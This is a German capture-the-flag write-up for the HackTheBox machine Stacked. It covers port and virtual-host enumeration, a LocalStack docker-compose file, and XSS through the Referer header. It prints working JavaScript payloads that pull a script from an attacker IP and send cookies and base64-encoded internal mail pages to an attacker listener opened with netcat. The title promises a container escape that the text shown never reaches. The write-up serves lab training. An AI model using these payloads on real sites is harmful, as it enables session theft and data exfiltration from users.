Docker-Container-Escape via XSS und RCE auf HTB Stacked
Ein Scan des Hosts 10.129.228.28 mit nmap zeigte offene Ports: 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41) und 2376 (Docker-Daemon mit TLS). Port 80 hostet die Domain stacked.htb nach Hinzufügen eines Eintrags in /etc/hosts. Die Hauptseite enthält ein E-Mail-Feld ohne sichtbaren Netzwerkverkehr bei Absendung.
Ein Directory-Brute-Force mit gobuster und common.txt ergab keine Ergebnisse. Ein Wechsel zur Virtual-Host-Enumeration mit ffuf und subdomains-top1million-5000.txt mit einem Wortfilter (-fw 18) deckte portfolio.stacked.htb auf.
gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18
Analyse von portfolio.stacked.htb und LocalStack
Die Seite portfolio.stacked.htb beschreibt Stacked, ein Unternehmen, das LocalStack nutzt – einen lokalen AWS-Service-Emulator in Docker-Containern. Eine docker-compose.yml-Datei ist verfügbar mit exponierten Ports:
- 443 (HTTPS)
- 4566 (LocalStack-API)
- 4571 (wahrscheinlich Elasticsearch)
- 8080 (Web-UI)
wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up
Der Seitenfuß zeigt das Gründungsjahr – ein potenzieller Ansatzpunkt für weitere Exploitation.
Entdeckung und Ausnutzung von XSS
Das Formular zur Dateneingabe auf portfolio.stacked.htb reflektiert HTML-Tags mit der Meldung "xss detected!". Direkte Injektion in den Request-Body an /process.php schlägt selbst mit doppelter URL-Kodierung fehl.
Tests der Header (User-Agent, Origin, Referer) offenbarten eine Schwachstelle im Referer. Das Payload <script src="http://10.10.16.10/test.js"></script> wird erfolgreich ausgeführt:
let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();
Cookies sind mit HttpOnly geschützt. Ein Wechsel zu document.location zeigte den Ursprung: http://mail.stacked.htb/read-mail.php?id=2.
CSRF-Angriff via XSS für Zugriff auf mail.stacked.htb
Die neue Subdomain mail.stacked.htb leitet externe Anfragen um. Über Opfer-XSS implementieren wir einen Proxy:
- Injiziere
<script src="http://10.10.16.10/exploit.js"></script>. - Das Skript fordert eine interne Seite an, kodiert sie in base64 und sendet sie an Angreifer:9001.
let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
if (this.readyState == 4){
data = btoa(req1.response);
let req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
req2.send();
}
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();
nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html
Der Posteingang enthält eine E-Mail von Jeremy Taint über das Starten einer S3-Instanz (id=1). CSS/Bilder laden nicht aufgrund von Netzwerkeinschränkungen.
Wichtige Erkenntnisse
- XSS im Referer-Header führt zu JS-Ausführung im Kontext des Opfers.
- Base64-Proxy via XMLHttpRequest umgeht Docker-Netzwerkeinschränkungen.
- LocalStack docker-compose offenbart interne Ports und Architektur.
- Vhost-Enumeration ist entscheidend, wenn Dirbusting scheitert.
- Der ffuf-Wortfilter (-fw) löst Probleme mit dynamischen Fehlerinhalten.
— Editorial Team
Noch keine Kommentare.